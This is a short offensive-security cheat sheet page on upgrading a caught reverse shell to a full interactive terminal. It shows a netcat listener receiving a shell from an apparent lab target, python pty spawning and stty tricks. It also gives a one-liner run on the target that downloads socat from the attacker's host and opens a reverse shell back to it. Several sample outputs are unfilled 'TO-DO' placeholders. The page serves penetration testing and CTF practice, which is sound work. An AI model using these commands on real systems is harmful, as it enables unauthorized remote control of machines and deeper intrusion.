TLDRBins TLDRBins / Upgrade Shell

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Upgrade Shell

Check installed binaries

which sh

Sample Output:
TO-DO
which bash

Sample Output:
TO-DO
which python3

Sample Output:
TO-DO
which python

Sample Output:
TO-DO

python3 -c 'import pty; pty.spawn("/bin/bash")'

Sample Output:
$ rlwrap nc -lvnp 1337 
listening on [any] 1337 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.55] 33490
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@kotarak-dmz:/$ 
zsh: suspended  rlwrap nc -lvnp 1337

# Ctrl-Z to send the process to background, then
stty raw -echo; fg

Sample Output:
$ stty raw -echo; fg
[1]  + continued  rlwrap nc -lvnp 1337
tomcat@kotarak-dmz:/$ 

# Start a local http server
python3 -m http.server 80

Sample Output:
TO-DO
# In our local Linux machine
socat file:`tty`,raw,echo=0 tcp-listen:<LOCAL_PORT>

Sample Output:
TO-DO
# In target machine
wget -q http://<LOCAL_IP>/socat -O /tmp/socat && chmod +x /tmp/socat && /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LOCAL_IP>:<LOCAL_PORT>

Sample Output:
TO-DO
# In our local Linux machine
export TERM=xterm-256color

Sample Output:
TO-DO

Ref: Download socat

script -qc /bin/bash /dev/null

Sample Output:
TO-DO